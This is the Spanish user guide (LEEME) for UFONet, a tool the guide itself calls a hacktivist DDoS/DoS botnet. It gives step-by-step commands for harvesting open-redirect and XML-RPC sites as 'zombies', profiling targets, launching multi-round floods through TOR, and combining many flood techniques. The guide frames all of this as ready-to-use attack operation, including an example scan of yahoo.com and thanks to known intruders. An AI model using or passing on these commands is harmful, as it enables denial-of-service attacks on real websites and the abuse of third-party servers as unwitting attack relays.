Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/docs/LEEME.txt
1208 views
1
===========================================================================
2
3
888 888 8888888888 .d88888b. 888b 888 888
4
888 888 888 d88PY888b 8888b 888 888
5
888 888 888 888 888 88888b 888 888
6
888 888 8888888 888 888 888Y88b 888 .d88b. 888888
7
888 888 888 888 888 888 Y88b888 d8P Y8b 888
8
888 888 888 888 888 888 Y88888 88888888 888
9
Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b.
10
'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888
11
12
===========================================================================
13
14
Bienvenida a UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-)
15
16
===========================================================================
17
18
###############################
19
# Información del proyecto
20
###############################
21
22
- Website:
23
24
https://ufonet.03c8.net
25
26
- IRC:
27
28
irc.freenode.net - #ufonet
29
30
###############################
31
# FAQ/Preguntas frecuentes
32
###############################
33
34
https://ufonet.03c8.net/FAQ.html
35
36
###############################
37
# Introducción
38
###############################
39
40
UFONet - Es un conjunto de herramientas hacktivistas que permiten el lanzamiento coordinado
41
de ataques DDoS y DoS, permitiendo combinar ambas técnicas en una sola ofensiva.
42
43
También funciona como un DarkNET cifrada para publicar y recibir contenido
44
mediante la creación de una red global de cliente/servidor basada en una
45
arquitectura P2P de conexión directa.
46
47
###############################
48
# Instalando
49
###############################
50
51
UFONet funciona en muchas plataformas:
52
53
Puedes tratar de de obtener automáticamente todas las librerías requeridas usando (como root):
54
55
python3 setup.py
56
57
Para instalación manual, intenta lo siguiente:
58
59
sudo apt-get install -y --no-install-recommends libpython3.11-dev python3-pycurl python3-geoip python3-whois python3-cryptography python3-requests libgeoip1 libgeoip-dev
60
python3 -m pip install --upgrade pip --no-warn-script-location --root-user-action=ignore
61
python3 -m pip install pycurl --upgrade --root-user-action=ignore
62
python3 -m pip install GeoIP python-geoip pygeoip requests whois scapy pycryptodomex duckduckgo-search --ignore-installed --root-user-action=ignore
63
64
###############################
65
# Buscando 'zombies'
66
###############################
67
68
UFONet puede buscar en los resultados de diferentes motores de búsqueda para encontrar posibles sitios
69
web vulnerables a 'Open Redirect'.
70
71
Generalmente los parámetros de las peticiones, suelen ser similares a los siguientes:
72
73
'page.php?url='
74
'check.cgi?url='
75
'checklink?uri='
76
'validator?uri='
77
78
Por ejemplo, puedes comenzar una búsqueda con:
79
80
./ufonet -s 'page.php?url='
81
82
O utilizando una lista de "dorks" que tengas en un fichero:
83
84
./ufonet --sd 'dorks.txt'
85
86
Por defecto, UFONet utiliza un motor de búsqueda que se llama 'DuckDuckGo'. Pero puedes elegir uno diferente:
87
88
./ufonet -s 'page.php?url=' --se 'bing'
89
90
También puedes buscar masívamente utilizando todos los motores de búsqueda soportados:
91
92
./ufonet -s 'page.php?url=' --sa
93
94
Para controlar cuantos 'zombies' recibir como resultado puedes utilizar:
95
96
./ufonet --sd 'botnet/dorks.txt' --sa --sn 20
97
98
O puedes hacer que la herramienta búsque de manera autómatica el mayor número posible de resultados
99
(ésto puede tardar bastante tiempo!):
100
101
./ufonet --auto-search
102
103
Al final del proceso, serás preguntado por si quieres hacer un chequeo, de la lista que has recibido,
104
para ver si las urls son vulnerables.
105
106
Do you want to check if the NEW possible zombies are valid? (Y/n)
107
108
Después serás preguntado por si quieres actualizar tu lista de 'zombies' añadiendo solamente
109
aquellas aplicaciones web que sean vulnerables.
110
111
Do you want to update your army? (Y/n)
112
113
Si respondes 'Y', tus nuevos 'zombies' se sumarán al fichero: zombies.txt
114
115
-------------
116
Ejemplos:
117
118
+ con detalle: ./ufonet -s 'page.php?url=' -v
119
+ con hilos: ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
120
121
###############################
122
# Probando la botnet
123
###############################
124
125
UFONet puede probar si tus 'zombies' son vulnerables y si pueden ser usados para tareas de ataque.
126
127
Por ejemplo, abre 'botnet/zombies.txt' (u otro fichero) y crea una lista de posibles 'zombies'.
128
Recuerdas que las urls de los 'zombies' deberían ser algo así:
129
130
http://objetivo.com/check?uri=
131
132
Después de eso, lanza:
133
134
./ufonet -t 'botnet/zombies.txt'
135
136
Puedes hacer pruebas para descubrir 'zombies' relacionados con la vulnerabilidad XML-RPC Pingback, mediante:
137
138
./ufonet --test-rpc
139
140
Para probar si tus 'zombies' siguen infectados (ésto puede tardar bastante tiempo!):
141
142
./ufonet --test-all
143
144
Y para probar si tus 'zombies' siguen conectados a internet:
145
146
./ufonet --test-offline
147
148
Finalmente, puedes ordenar a tus 'zombies' que te ataquen a ti mismo, para ver como responden a tus necesidades:
149
150
./ufonet --attack-me
151
152
Al final del proceso, serás preguntado por si quieres hacer un chequeo, de la lista que has recibido,
153
para ver si las urls son vulnerables.
154
155
Do you want to check if the NEW possible zombies are valid? (Y/n)
156
157
Después serás preguntado por si quieres actualizar tu lista de 'zombies' añadiendo solamente
158
aquellas aplicaciones web que sean vulnerables.
159
160
Do you want to update your army? (Y/n)
161
162
Si respondes 'Y', tu fichero: "botnet/zombies.txt" será actualizado.
163
164
-------------
165
Examples:
166
167
+ con detalle: ./ufonet -t 'botnet/zombies.txt' -v
168
+ con proxy TOR: ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118"
169
+ con hilos: ./ufonet -t 'botnet/zombies.txt' --threads 50
170
171
+ probar botnet: ./ufonet --test-all
172
+ probar XML-RPCs: ./ufonet --test-rpc
173
+ buscar 'offlines': ./ufonet --test-offline
174
+ auto-atacarte: ./ufonet --attack-me
175
176
###############################
177
# Inspeccionando un objetivo
178
###############################
179
180
UFONet puede buscar el fichero más grande de tu objetivo analizándolo:
181
182
./ufonet -i http://target.com
183
184
Puedes utilizar el resultado para hacer tus ataques más efectivos:
185
186
./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"
187
188
-------------
189
Ejemplo:
190
191
+input:
192
193
./ufonet -i http://target.com
194
195
+output:
196
197
[...]
198
199
+Image found: images/wizard.jpg
200
(Size: 63798 Bytes)
201
------------
202
+Style (.css) found: fonts.css
203
(Size: 20448 Bytes)
204
------------
205
+Webpage (.php) found: contact.php
206
(Size: 2483 Bytes)
207
------------
208
+Webpage (.php) found: about.php
209
(Size: 1945 Bytes)
210
------------
211
+Webpage (.php) found: license.php
212
(Size: 1996 Bytes)
213
------------
214
================================================================================
215
=Biggest File: http://target.com/images/wizard.jpg
216
================================================================================
217
-------------
218
219
###############################
220
# Abduciendo un objetivo
221
###############################
222
223
UFONet puede entregarte bastante información interesante de tu objetivo:
224
225
./ufonet -x http://target.com
226
227
-------------
228
Ejemplo:
229
230
+input:
231
232
./ufonet -x https://yahoo.com
233
234
+output:
235
236
[...]
237
238
-Target URL: https://yahoo.com
239
-IP : 206.190.39.42
240
-IPv6 : OFF
241
-Port : 443
242
-Domain: yahoo.com
243
244
-Bytes in : 550.09 KB
245
-Load time: 9.10 seconds
246
247
-Banner: ATS
248
-Vía : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer),
249
http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ])
250
251
-WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)
252
253
-Reports:
254
255
+ CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
256
+ CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660
257
258
[...]
259
260
---------
261
[Info] Abduction finished... ;-)
262
263
-------------
264
265
###############################
266
# Atacando un objetivo
267
###############################
268
269
UFONet puede atacar a tus objetivos de muchas maneras.
270
271
Por ejemplo, introduce un objetivo para atacar con un número de rondas:
272
273
./ufonet -a http://target.com -r 10
274
275
En el ejemplo, UFONet atacará el objetivo un número de 10 veces por cada 'zombie'. De manera que si tienes una lista
276
de 1.000 'zombies', lanzará 1.000 'zombies' x 10 rondas = 10.000 peticiones al objetivo.
277
278
Por defecto se aplicará únicamente 1 ronda.
279
280
Además, puedes elegir el lugar para recargar el sitio el objetivo. Por ejemplo, una imagen grande, un fichero que ocupe
281
mucho o una película de flash. En algunos escenarios donde los objetivos no utilizan sistemas de cache, ésto hará tu
282
ataque más efectivo.
283
284
./ufonet -a http://target.com -b "/images/big_size_image.jpg"
285
286
-------------
287
Examples:
288
289
+ con detalle: ./ufonet -a http://target.com -r 10 -v
290
+ con proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
291
+ con un lugar ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
292
+ con hilos: ./ufonet -a http://target.com -r 10 --threads 500
293
294
###############################
295
# Ataques Especiales
296
###############################
297
298
UFONet utiliza diferentes maneras para explotar las vulnerabilides 'Open Redirect'.
299
300
Puedes usar UFONet para estresar la base de datos de tu objetivo mediante la petición de cadenas aleatorias válidas
301
como si fueran búsquedas:
302
303
./ufonet -a http://target.com --db "search.php?q="
304
305
También explota (por defecto) una vulnerabilidad en XML-RPC Pingback, generando peticiones que requieren respuesta e
306
incrementando el procesamiento que requiere el objetivo.
307
308
Puedes probar tu lista de zombies "X-RPCs" lanzando:
309
310
./ufonet --test-rpc
311
312
###############################
313
# Ataques Extra
314
###############################
315
316
- LOIC: https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
317
- LORIS: https://en.wikipedia.org/wiki/Slowloris_(software)
318
- UFOSYN: https://en.wikipedia.org/wiki/SYN_flood
319
- FRAGGLE: https://en.wikipedia.org/wiki/Fraggle_attack
320
- UFORST: https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
321
- SPRAY: https://en.wikipedia.org/wiki/DRDOS
322
- SMURF: https://en.wikipedia.org/wiki/Smurf_attack
323
- XMAS: https://en.wikipedia.org/wiki/Christmas_tree_packet
324
- DROPER: https://en.wikipedia.org/wiki/IP_fragmentation_attack
325
- SNIPER: https://www.imperva.com/learn/application-security/snmp-reflection/
326
- TACHYON: https://www.us-cert.gov/ncas/alerts/TA13-088A
327
- PINGER: https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
328
- MONLIST: https://www.us-cert.gov/ncas/alerts/TA14-013A
329
- UFOACK: https://www.f5.com/services/resources/glossary/push-and-ack-flood
330
- OVERLAP: https://cyberhoot.com/cybrary/fragment-overlap-attack/
331
- UFOUDP: https://en.wikipedia.org/wiki/UDP_flood_attack
332
- NUKE: https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
333
334
Todos los ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo.
335
336
###############################
337
# Actualizando
338
###############################
339
340
UFONet implementa una opción para actualizarse automáticamente a la última versión estable.
341
342
Para poder hacerlo tienes que haber clonado la herramienta desde el repositorio de GitHub.
343
344
Lanza el siguiente comando para chequear si necesitas actualizaciones:
345
346
./ufonet --update
347
348
Ésto actualizará la herramienta automáticamente borrando todos los ficheros del anterior paquete.
349
350
###############################
351
# Generando un 'Blackhole'
352
###############################
353
354
UFONet tiene algunas opciones P2P para compartir/mantener 'zombies' con otras 'naves madre".
355
356
* Configura un servidor web con una carpeta llamada "ufonet", con las siguientes características:
357
358
- localizado en /var/www/ufonet (por defecto en debian/ubuntu)
359
- creado por el mismo usuario que ejecuta el "agujero negro" (blackhole)
360
- que sea accesible desde http://tu-ip/ufonet/
361
362
* Comienza el "agujero negro" con: ./ufonet --blackhole (or python2 blackhole.py)
363
364
* Cualquiera que quiera conectarse con tu servidor necesita configurar --up-to/--down-from con la ip
365
de tu servidor web...
366
367
[!]ATENCIÓN : ésta función "AVANZADA" puede "NO" ser segura, ejecútala si realmente lo necesitas.
368
369
Para lanzar un nuevo "agujero negro", utiliza:
370
371
./ufonet --blackhole
372
373
###############################
374
# GUI/Web Interface
375
###############################
376
377
Puedes controlar UFONet utilizando una interfaz Web. La herramienta implementa un servidor web en python
378
conectado al núcleo para que tengas unas experiencia más amigable.
379
380
Para lanzarla usa:
381
382
./ufonet --gui
383
384
Ésto abrirá una pestaña (o una ventana nueva) en tu navegador por defecto, con todas las opciones de la herramienta
385
más algunas "extra":
386
387
- SHIP.NEWS: Permite leer las últimas "noticias" publicadas por la "nave madre"
388
- SHIP.MISSIONS: Permite leer las últimas "misiones" publicadas por la "nave madre"
389
- SHIP.STATS: Permite consultar las estadísticas de tu "nave"
390
- SHIP.RANKING: Permite consultar tu posición en el "ranking"
391
- SHIP.LINKS: Permite revisar los enlaces publicados por otras "naves"
392
- SHIP.STREAMS: Permite revisar los "streams" (video/audio/directo) publicados por otras "naves"
393
- SHIP.TV: Permite ver videos publicados por otras "naves"
394
- SHIP GAMES: Permite revisar los "juegos" que contiene tu "nave madre"
395
- SHIP.BROWSER: Permite navegar/surfear la Internet
396
- SHIP.WARPS: Permite interactuar con una "nave madre" para subir/bajar 'zombies'
397
- GLOBAL.BOARD: Permite enviar/recibir mensajes con una "nave madre" (un foro)
398
- GLOBAL.GRID: Permite revisar las estadísticas de otras "naves"
399
- GLOBAL.WARGAMES: Permite proponer y participar en algunos "juegos de guerra" reales
400
- GLOBAL.RADAR: Permite revisar las localizaciones publicadas por otras "naves"
401
- GLOBAL.NEWS: Permite leer noticias relacionadas con UFONet
402
- [...]
403
404
###############################
405
# Timelog
406
###############################
407
408
--------------------------
409
25.08.2024 : v.1.9
410
--------------------------
411
412
--------------------------
413
02.03.2022 : v.1.8
414
--------------------------
415
416
--------------------------
417
14.07.2021 : v.1.7
418
--------------------------
419
420
--------------------------
421
17.08.2020 : v.1.6
422
--------------------------
423
424
--------------------------
425
08.06.2020 : v.1.5
426
--------------------------
427
428
--------------------------
429
01.02.2020 : v.1.4
430
--------------------------
431
432
--------------------------
433
10.03.2019 : v.1.3
434
--------------------------
435
436
--------------------------
437
03.02.2019 : v.1.2.1
438
--------------------------
439
440
--------------------------
441
31.12.2018 : v.1.2
442
--------------------------
443
444
--------------------------
445
26.09.2018 : v.1.1
446
--------------------------
447
448
--------------------------
449
08.03.2018 : v.1.0
450
--------------------------
451
452
--------------------------
453
14.07.2017 : v.0.9b
454
--------------------------
455
456
--------------------------
457
21.10.2016 : v.0.8b
458
--------------------------
459
460
--------------------------
461
17.08.2016 : v.0.7b
462
--------------------------
463
464
--------------------------
465
05.11.2015 : v.0.6b
466
--------------------------
467
468
--------------------------
469
24.05.2015 : v.0.5b
470
--------------------------
471
472
--------------------------
473
15.12.2014 : v.0.4b
474
--------------------------
475
476
--------------------------
477
27.09.2014 : v.0.3.1b
478
--------------------------
479
480
--------------------------
481
20.09.2014 : v.0.3b
482
--------------------------
483
484
--------------------------
485
22.06.2013 : v.0.2b
486
--------------------------
487
488
--------------------------
489
18.06.2013 : v.0.1b
490
--------------------------
491
492
###############################
493
# Gracias a
494
###############################
495
496
- BP<3
497
- UFo & Mandingo & Ikujam
498
- Phineas Fisher ;-)
499
- The Shadow Brokers (TSB) ;_)
500
- World Wide Antifas >-)
501
------------------------
502
503
############
504
505